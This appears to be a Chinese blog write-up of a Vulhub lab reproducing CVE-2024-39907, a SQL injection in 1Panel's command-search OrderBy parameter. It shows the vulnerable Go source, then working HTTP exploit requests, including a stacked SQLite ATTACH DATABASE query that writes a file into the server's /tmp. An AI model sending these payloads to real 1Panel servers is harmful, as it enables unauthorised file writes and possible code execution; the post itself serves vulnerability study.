CVE-2024-39907漏洞复现

Vulhub 打靶日记

1Panel

CVE-2024-39907

1Panel在1.10.12-tls以前的版本中存在SQL注入漏洞,其原因是未能校验用户输入的OrderBy参数,直接拼接用户输入进SQL语句,导致任意文件写入,从而导致RCE

漏洞分析

版本: v1.10.10-lts

1Panel中有主机 -> 终端 -> 快速命令 -> 创建命令模块,在创建命令的时候会访问/hosts/command,调用对应的/api/v1/hosts/command接口和/api/v1/hosts/command/search接口.

/api/v1/hosts/command/search对应的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// @Tags Command
// @Summary Page commands
// @Description 获取快速命令列表分页
// @Accept json
// @Param request body dto.SearchWithPage true "request"
// @Success 200 {object} dto.PageResult
// @Security ApiKeyAuth
// @Router /hosts/command/search [post]
func (b *BaseApi) SearchCommand(c *gin.Context) {
	var req dto.SearchCommandWithPage
	if err := helper.CheckBindAndValidate(&req, c); err != nil {
		return
	}

	total, list, err := commandService.SearchWithPage(req)
	if err != nil {
		helper.ErrorWithDetail(c, constant.CodeErrInternalServer, constant.ErrTypeInternalServer, err)
		return
	}

	helper.SuccessWithData(c, dto.PageResult{
		Items: list,
		Total: total,
	})
}

将传入的参数用SearchCommandWithPage格式化后传入SearchWithPage进行查询

去看看SearchWithPage是怎么实现的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 路径: core/app/service/command.go

func (u *CommandService) SearchWithPage(req dto.SearchCommandWithPage) (int64, interface{}, error) {
	options := []global.DBOption{
		repo.WithOrderRuleBy(req.OrderBy, req.Order),
		repo.WithByType(req.Type),
	}
	if len(req.Info) != 0 {
		options = append(options, commandRepo.WithByInfo(req.Info))
	}
	if req.GroupID != 0 {
		options = append(options, repo.WithByGroupID(req.GroupID))
	}
	total, commands, err := commandRepo.Page(req.Page, req.PageSize, options...)
	if err != nil {
		return 0, nil, err
	}
	groups, _ := groupRepo.GetList(repo.WithByType(req.Type))
	var dtoCommands []dto.CommandInfo
	for _, command := range commands {
		var item dto.CommandInfo
		if err := copier.Copy(&item, &command); err != nil {
			return 0, nil, buserr.WithDetail("ErrStructTransform", err.Error(), nil)
		}
		for _, group := range groups {
			if command.GroupID == group.ID {
				item.GroupBelong = group.Name
				item.GroupID = group.ID
			}
		}
		dtoCommands = append(dtoCommands, item)
	}
	return total, dtoCommands, err
}

global.DBOption 是一个函数类型(例如 type DBOption func(*someConfig)),用于修改数据库查询的行为,

repo.WithOrderRuleBy(req.OrderBy, req.Order) 返回一个 DBOption,用于设置查询结果的排序规则(例如按 req.OrderBy 字段和 req.Order 方向排序)。

WithOrderRuleBy会进行查询操作,去看看具体实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
func WithOrderRuleBy(orderBy, order string) global.DBOption {
	switch order {
	case constant.OrderDesc:
		order = "desc"
	case constant.OrderAsc:
		order = "asc"
	default:
		orderBy = "created_at"
		order = "desc"
	}
	return func(g *gorm.DB) *gorm.DB {
		return g.Order(fmt.Sprintf("%s %s", orderBy, order))
	}
}

可以看到,这里传入了orderBy,switch是用来规范排序方向的,然后用fmt.Sprintf("%s %s", orderBy, order) 直接将orderBy拼接到 SQL 语句中.

可以清楚地看到,从SearchCommand->SearchWithPage->WithOrderRuleBy的过程中对用户传入的orderBy没有任何的过滤,完全原模原样的拼接进SQL语句中从而导致SQL注入漏洞

漏洞复现

使用vulhub来进行环境搭建

1
2
3
4
5
6
7
8
9
# 克隆仓库
git clone --depth 1 https://github.com/vulhub/vulhub.git

# 进入漏洞目录
cd vulhub/1panel/CVE-2024-39907

# 启动环境
docker compose up -d
或 podman-compose up -d

访问http://127.0.0.1:10086/entrance,用户名1panel,密码1panel_password进入靶场

这个漏洞需要登录后才能利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /api/v1/hosts/command/search HTTP/1.1
Host: 127.0.0.1:10086
Content-Length: 93
sec-ch-ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "Linux"
Accept-Language: zh
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json
Origin: http://127.0.0.1:10086
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:10086/hosts/terminal
Accept-Encoding: gzip, deflate, br
Cookie: psession=ddda1b94-2026-4b18-905e-be584b1349bc
Connection: keep-alive

{"page":1,"pageSize":10,"groupID":0,"orderBy":"1' or 1 = 1 --","order":"ascending","name":""}

可以看到报错:

1
2
3
4
5
6
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Wed, 01 Apr 2026 10:15:20 GMT
Content-Length: 128

{"code":500,"message":"服务内部错误: SQL logic error: unrecognized token: \"' or 1 = 1 -- asc LIMIT 10\" (1)","data":null}

确认存在SQL注入漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /api/v1/hosts/command/search HTTP/1.1
Host: 127.0.0.1:10086
Content-Length: 212
sec-ch-ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "Linux"
Accept-Language: zh
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json
Origin: http://127.0.0.1:10086
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:10086/hosts/terminal
Accept-Encoding: gzip, deflate, br
Cookie: psession=ddda1b94-2026-4b18-905e-be584b1349bc
Connection: keep-alive

{"page":1,"pageSize":10,"groupID":0,"orderBy":"3;ATTACH DATABASE '/tmp/randstr.txt' AS test;create TABLE test.exp (data text);create TABLE test.exp (data text);drop table test.exp;","order":"ascending","name":""}

进容器可以看到执行成功

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
╭─ eight in /vulhub/1panel/CVE-2024-39907 on (master)╰─(๑˃̵ᴗ˂̵)و podman ps
CONTAINER ID  IMAGE                            COMMAND               CREATED            STATUS            PORTS                     NAMES
2c02439ba18d  docker.io/vulhub/1panel:1.10.10  /bin/bash -c /usr...  About an hour ago  Up About an hour  0.0.0.0:10086->10086/tcp  cve-2024-39907_1panel_1

╭─ eight in /vulhub/1panel/CVE-2024-39907 on (master)╰─(๑˃̵ᴗ˂̵)و podman exec -it  /bin/sh                                                              exit:130

╭─ eight in /vulhub/1panel/CVE-2024-39907 on (master)╰─(๑˃̵ᴗ˂̵)و podman exec -it 2c02439ba18d /bin/sh
# ls -la /tmp/
total 16
drwxrwxrwt 1 root root 4096 Apr  1 18:17 .
dr-xr-xr-x 1 root root 4096 Apr  1 17:12 ..
-rw-r--r-- 1 root root 8192 Apr  1 18:17 randstr.txt
#
Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计